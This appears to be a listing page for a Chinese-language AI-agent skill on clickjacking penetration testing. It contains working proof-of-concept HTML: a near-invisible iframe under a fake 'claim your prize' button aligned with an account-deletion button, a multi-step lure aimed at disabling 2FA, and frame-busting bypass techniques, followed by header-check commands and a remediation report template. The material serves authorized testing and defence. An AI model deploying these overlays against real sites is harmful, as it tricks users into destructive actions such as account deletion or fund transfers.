performing-clickjacking-attack-test

在授权安全评估中,通过评估框架嵌入控制和构建概念验证覆盖层攻击来测试 Web 应用程序的点击劫持漏洞。

9 stars

Best use case

performing-clickjacking-attack-test is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

在授权安全评估中,通过评估框架嵌入控制和构建概念验证覆盖层攻击来测试 Web 应用程序的点击劫持漏洞。

Teams using performing-clickjacking-attack-test should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/performing-clickjacking-attack-test/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/performing-clickjacking-attack-test/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/performing-clickjacking-attack-test/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How performing-clickjacking-attack-test Compares

Feature / Agentperforming-clickjacking-attack-testStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

在授权安全评估中,通过评估框架嵌入控制和构建概念验证覆盖层攻击来测试 Web 应用程序的点击劫持漏洞。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 执行点击劫持攻击测试(Performing Clickjacking Attack Test)

## 适用场景

- 在授权渗透测试中评估 UI 重绘(UI Redressing)漏洞时
- 测试敏感操作(删除账户、转账、更改设置)是否可通过点击劫持执行时
- 评估 X-Frame-Options 和 Content-Security-Policy frame-ancestors 指令的有效性时
- 评估处理一键式操作且无额外确认的应用程序时
- 对处理金融交易或账户管理的应用程序进行安全审计时

## 前置条件

- **授权**:针对目标的书面渗透测试协议
- **Web 浏览器**:现代浏览器,用于测试 iframe 嵌入
- **本地 Web 服务器**:Python `http.server` 或类似工具,用于托管 PoC 页面
- **Burp Suite**:用于检查响应头
- **HTML/CSS 知识**:用于构建点击劫持覆盖层页面
- **curl**:用于检查目标页面的框架头

## 工作流程

### 步骤 1:检查框架嵌入保护

检查响应头中的反点击劫持防御措施。

```bash
# 检查 X-Frame-Options 头
curl -s -I "https://target.example.com/" | grep -i "x-frame-options"
# 预期值:
# X-Frame-Options: DENY(阻止所有嵌入)
# X-Frame-Options: SAMEORIGIN(允许同源嵌入)
# X-Frame-Options: ALLOW-FROM https://trusted.com(已废弃,支持有限)

# 检查 Content-Security-Policy frame-ancestors 指令
curl -s -I "https://target.example.com/" | grep -i "content-security-policy"
# 查找:frame-ancestors 'none' 或 frame-ancestors 'self'
# frame-ancestors 'none' = 等同于 DENY
# frame-ancestors 'self' = 等同于 SAMEORIGIN

# 测试多个敏感页面
for page in / /account/settings /account/delete /transfer \
  /admin/dashboard /change-password /change-email; do
  echo -n "$page: "
  headers=$(curl -s -I "https://target.example.com$page")
  xfo=$(echo "$headers" | grep -i "x-frame-options" | tr -d '\r')
  csp=$(echo "$headers" | grep -i "content-security-policy" | grep -o "frame-ancestors[^;]*" | tr -d '\r')
  if [ -z "$xfo" ] && [ -z "$csp" ]; then
    echo "无保护"
  else
    echo "${xfo:-none} | ${csp:-none}"
  fi
done

# 检查是否使用了 JavaScript 框架破坏(弱保护)
curl -s "https://target.example.com/" | grep -i "top.location\|parent.location\|frameElement"
```

### 步骤 2:测试基本 Iframe 嵌入

尝试在 iframe 中嵌入目标页面以确认漏洞。

```html
<!-- basic-frame-test.html -->
<html>
<head><title>点击劫持框架测试</title></head>
<body>
<h1>框架嵌入测试</h1>
<p>如果目标页面在下方加载,则容易受到点击劫持攻击。</p>

<!-- 测试基本嵌入 -->
<iframe src="https://target.example.com/account/settings"
        width="800" height="600"
        style="border: 2px solid red;">
</iframe>

<p>如果控制台显示"Refused to display"或 iframe 为空白,
   则该页面有框架保护。</p>
</body>
</html>
```

```bash
# 托管测试页面
cd /tmp
cat > frame-test.html << 'EOF'
<html>
<body>
<h1>点击劫持测试</h1>
<iframe src="https://target.example.com/account/settings"
        width="800" height="600"></iframe>
</body>
</html>
EOF
python3 -m http.server 8888
# 在浏览器中打开 http://localhost:8888/frame-test.html
# 检查浏览器控制台是否有嵌入错误
```

### 步骤 3:构建点击劫持概念验证

构建一个覆盖层攻击,诱骗用户点击隐藏元素。

```html
<!-- clickjacking-poc.html -->
<html>
<head>
<title>赢取奖品!</title>
<style>
  body {
    margin: 0;
    padding: 0;
    font-family: Arial, sans-serif;
  }

  /* 包含目标页面的不可见 iframe */
  #target-frame {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    opacity: 0.0001;  /* 几乎不可见 */
    z-index: 2;       /* 在诱饵上方 */
    border: none;
  }

  /* 欺骗用户的诱饵内容 */
  #decoy {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: 1;
    background: white;
  }

  /* 将"点击此处"按钮精确定位在目标的敏感按钮上方
     (根据目标布局调整 top/left 值) */
  #click-bait {
    position: absolute;
    top: 350px;    /* 与目标的"删除账户"按钮对齐 */
    left: 400px;   /* 水平对齐 */
    padding: 15px 30px;
    background: #4CAF50;
    color: white;
    font-size: 18px;
    cursor: pointer;
    border: none;
    border-radius: 5px;
  }
</style>
</head>
<body>

<!-- 用户可见的诱饵内容 -->
<div id="decoy">
  <h1 style="text-align:center; margin-top:100px;">
    恭喜!您中奖了!
  </h1>
  <p style="text-align:center;">
    点击下方按钮领取奖品
  </p>
  <button id="click-bait">领取奖品</button>
</div>

<!-- 包含目标敏感操作的隐藏 iframe -->
<iframe id="target-frame"
  src="https://target.example.com/account/delete"
  scrolling="no">
</iframe>

</body>
</html>
```

### 步骤 4:创建多步骤点击劫持攻击

对于需要多次点击的操作,创建多步骤覆盖层。

```html
<!-- multi-step-clickjacking.html -->
<html>
<head>
<title>完成调查</title>
<style>
  #target-frame {
    position: absolute;
    width: 100%;
    height: 100%;
    opacity: 0.0001;
    z-index: 2;
    border: none;
  }
  #step-container {
    text-align: center;
    margin-top: 200px;
    z-index: 1;
    position: relative;
  }
  .step { display: none; }
  .step.active { display: block; }
  .btn {
    padding: 15px 40px;
    font-size: 18px;
    background: #2196F3;
    color: white;
    border: none;
    cursor: pointer;
    margin-top: 20px;
  }
</style>
</head>
<body>

<div id="step-container">
  <!-- 步骤 1:点击与目标上的"设置"链接对齐 -->
  <div class="step active" id="step1">
    <h2>步骤 1:选择您的奖励</h2>
    <button class="btn" onclick="nextStep()"
      style="position:absolute; top:200px; left:300px;">
      黄金套餐
    </button>
  </div>

  <!-- 步骤 2:点击与"删除账户"按钮对齐 -->
  <div class="step" id="step2">
    <h2>步骤 2:确认您的选择</h2>
    <button class="btn" onclick="nextStep()"
      style="position:absolute; top:350px; left:400px;">
      确认
    </button>
  </div>

  <!-- 步骤 3:点击与"是的,我确定"确认框对齐 -->
  <div class="step" id="step3">
    <h2>步骤 3:领取奖励!</h2>
    <button class="btn"
      style="position:absolute; top:400px; left:450px;">
      立即领取!
    </button>
  </div>
</div>

<iframe id="target-frame"
  src="https://target.example.com/account/settings">
</iframe>

<script>
var currentStep = 1;
function nextStep() {
  document.getElementById('step' + currentStep).classList.remove('active');
  currentStep++;
  document.getElementById('step' + currentStep).classList.add('active');
  // 可选:针对多页面流程更改 iframe src
}
</script>
</body>
</html>
```

### 步骤 5:测试框架破坏绕过技术

如果使用了基于 JavaScript 的框架保护,尝试绕过它。

```html
<!-- 绕过 JavaScript 框架破坏 -->

<!-- 技术 1:sandbox 属性阻止顶级导航 -->
<iframe src="https://target.example.com/account/settings"
  sandbox="allow-scripts allow-forms allow-same-origin"
  width="800" height="600">
</iframe>
<!-- 不含 allow-top-navigation 的 sandbox 阻止框架破坏 -->

<!-- 技术 2:双重嵌套 -->
<!-- 如果目标检查:if (top !== self) top.location = self.location -->
<!-- 通过同样嵌套目标的中间页面来嵌入页面 -->
<iframe src="intermediate.html" width="800" height="600"></iframe>
<!-- intermediate.html 包含:<iframe src="https://target.example.com/..."> -->

<!-- 技术 3:拦截 onbeforeunload -->
<script>
window.onbeforeunload = function() {
  return "您确定要离开吗?";  // 阻止导航离开
};
</script>
<iframe src="https://target.example.com/account/settings"
  width="800" height="600">
</iframe>

<!-- 技术 4:使用 data: URI 或 about:blank -->
<iframe id="f" src="about:blank" width="800" height="600"></iframe>
<script>
var iframe = document.getElementById('f');
iframe.contentDocument.write(
  '<iframe src="https://target.example.com/account/settings" width="100%" height="100%"></iframe>'
);
</script>
```

### 步骤 6:验证影响并记录发现

确认点击劫持能导致有意义的影响。

```bash
# 托管 PoC 并测试攻击流程
cd /tmp
python3 -m http.server 8888

# 测试步骤:
# 1. 在浏览器中登录 target.example.com
# 2. 打开 http://localhost:8888/clickjacking-poc.html
# 3. 点击诱饵按钮
# 4. 验证目标上的敏感操作是否已执行

# 报告用:调整 iframe 透明度以显示重叠
# 将透明度从 0.0001 改为 0.5 以获取截图证据
# 这显示了诱饵内容后面可见的目标页面

# 记录哪些敏感操作存在漏洞:
# - 账户删除
# - 密码/邮箱更改
# - 资金转账
# - 权限/角色更改
# - 启用/禁用安全功能
```

## 核心概念

| 概念 | 定义 |
|---------|-------------|
| **点击劫持(Clickjacking)** | 通过覆盖诱饵内容欺骗用户点击隐藏元素的 UI 重绘攻击 |
| **X-Frame-Options** | 控制页面是否可嵌入 iframe 的 HTTP 头(DENY、SAMEORIGIN) |
| **frame-ancestors** | 指定 iframe 嵌入有效父级的 CSP 指令(取代 X-Frame-Options) |
| **框架破坏(Frame Busting)** | 尝试跳出 iframe 的 JavaScript 防御机制(易被绕过) |
| **Likejacking** | 针对社交媒体"点赞"或"分享"按钮的点击劫持变体 |
| **光标劫持(Cursorjacking)** | 使用 CSS 偏移可见光标与实际点击位置的变体 |
| **多步骤点击劫持(Multi-step Clickjacking)** | 需要多次点击的攻击,每个步骤的诱饵内容各不相同 |

## 工具与系统

| 工具 | 用途 |
|------|---------|
| **Burp Suite Professional** | 检查响应上的 X-Frame-Options 和 CSP 头 |
| **Clickjack Tester(浏览器)** | 基于浏览器的 iframe 嵌入测试工具 |
| **浏览器 DevTools** | 检查框架嵌入行为和控制台错误 |
| **Python http.server** | 在本地托管点击劫持 PoC 页面 |
| **OWASP ZAP** | 自动检测缺少的反框架头 |
| **securityheaders.com** | 缺失安全头的在线扫描器 |

## 常见场景

### 场景 1:通过点击劫持删除账户
`/account/delete` 的账户删除页面没有 X-Frame-Options 头。攻击者创建一个带有"赢取奖品"按钮的页面,将其定位在透明 iframe 中"删除我的账户"按钮的上方。

### 场景 2:一键资金转账
银行应用程序通过预填表单上的单一按钮点击执行转账。在没有框架保护的情况下,攻击者将转账页面嵌入 iframe,并覆盖诱饵"玩游戏"按钮。

### 场景 3:通过多步骤点击劫持禁用 2FA
禁用双因素认证需要两次点击(设置链接,然后禁用按钮)。多步骤点击劫持 PoC 引导受害者完成两次诱饵点击,这些点击与真实按钮对齐。

### 场景 4:OAuth 授权点击劫持
OAuth 同意屏幕允许嵌入。攻击者嵌入同意页面并诱骗受害者点击"授权",将攻击者的应用程序访问权授予受害者账户。

## 输出格式

```
## 点击劫持漏洞发现报告

**漏洞**:点击劫持 — 缺少框架嵌入保护
**严重性**:中(CVSS 6.1)
**位置**:/account/settings、/account/delete、/transfer
**OWASP 类别**:A04:2021 - 不安全设计

### 头部分析
| 页面 | X-Frame-Options | CSP frame-ancestors | 是否易受攻击 |
|------|----------------|--------------------|-|
| / | 未设置 | 未设置 | 是 |
| /account/settings | 未设置 | 未设置 | 是 |
| /account/delete | 未设置 | 未设置 | 是 |
| /transfer | 未设置 | 未设置 | 是 |
| /login | SAMEORIGIN | - | 否 |

### 可被利用的敏感操作
1. 账户删除(单次点击,无需重新认证)
2. 邮箱更改(单次点击,无需确认)
3. 2FA 禁用(两次点击,多步骤 PoC)
4. 资金转账(预填表单,单次点击)

### 影响
- 通过邮箱更改点击劫持实现账户接管
- 通过删除点击劫持毁坏账户
- 通过转账点击劫持造成财务损失
- 通过 2FA 禁用点击劫持降低安全性

### 修复建议
1. 为所有页面添加 `Content-Security-Policy: frame-ancestors 'none'`
2. 设置 `X-Frame-Options: DENY` 作为旧版浏览器的回退措施
3. 对敏感操作要求重新认证(删除、转账)
4. 添加无法预填或自动提交的确认对话框
5. 实施 SameSite=Strict Cookie 以减少 iframe 中的会话可用性
```

Related Skills

testing-websocket-api-security

9
from killvxk/cybersecurity-skills-zh

测试 WebSocket API 实现中的安全漏洞,包括 WebSocket 升级时缺少身份认证、跨站 WebSocket 劫持(Cross-Site WebSocket Hijacking,CSWSH)、通过 WebSocket 消息进行的注入攻击、输入校验不足、通过消息泛洪实施拒绝服务,以及通过 WebSocket 帧造成的信息泄露。测试人员使用 Burp Suite 拦截 WebSocket 握手和消息,构造恶意 payload,并测试 WebSocket 通道上的授权绕过。适用于 WebSocket 安全测试、WS 渗透测试、CSWSH 攻击或实时 API 安全评估相关请求。

testing-oauth2-implementation-flaws

9
from killvxk/cybersecurity-skills-zh

测试 OAuth 2.0 和 OpenID Connect 实现中的安全缺陷,包括授权码拦截、重定向 URI 操控、OAuth 流程中的 CSRF、令牌泄露、权限范围(scope)提升以及 PKCE 绕过。测试人员对授权服务器、客户端应用及令牌处理进行评估,发现可导致账户接管或未授权访问的常见错误配置。适用于 OAuth 安全测试、OIDC 漏洞评估、OAuth2 重定向绕过或授权码流程测试相关请求。

testing-mobile-api-authentication

9
from killvxk/cybersecurity-skills-zh

测试移动应用 API 的认证与授权机制,识别认证失效、不安全的令牌管理、会话固定、 权限提升和 IDOR 漏洞。适用于对移动应用后端进行 API 安全评估、测试 JWT 实现、 评估 OAuth 流程或评估会话管理的场景。适合涉及移动 API 认证测试、令牌安全评估、 OAuth 移动端流程测试或 API 授权绕过的相关请求。

testing-jwt-token-security

9
from killvxk/cybersecurity-skills-zh

在安全测试活动中,评估 JSON Web Token(JWT)实现中的密码学弱点、算法混淆攻击和授权绕过漏洞。

testing-for-xxe-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。

testing-for-xss-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。

testing-for-xss-vulnerabilities-with-burpsuite

9
from killvxk/cybersecurity-skills-zh

在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。

testing-for-xml-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。

testing-for-sensitive-data-exposure

9
from killvxk/cybersecurity-skills-zh

在安全评估中识别敏感数据暴露漏洞,包括 API 密钥泄露、响应中的 PII、不安全存储以及未受保护的数据传输。

testing-for-open-redirect-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。

testing-for-json-web-token-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。

testing-for-host-header-injection

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序的 HTTP Host 头部注入漏洞,以识别密码重置中毒、Web 缓存投毒、SSRF 以及虚拟主机路由操控风险。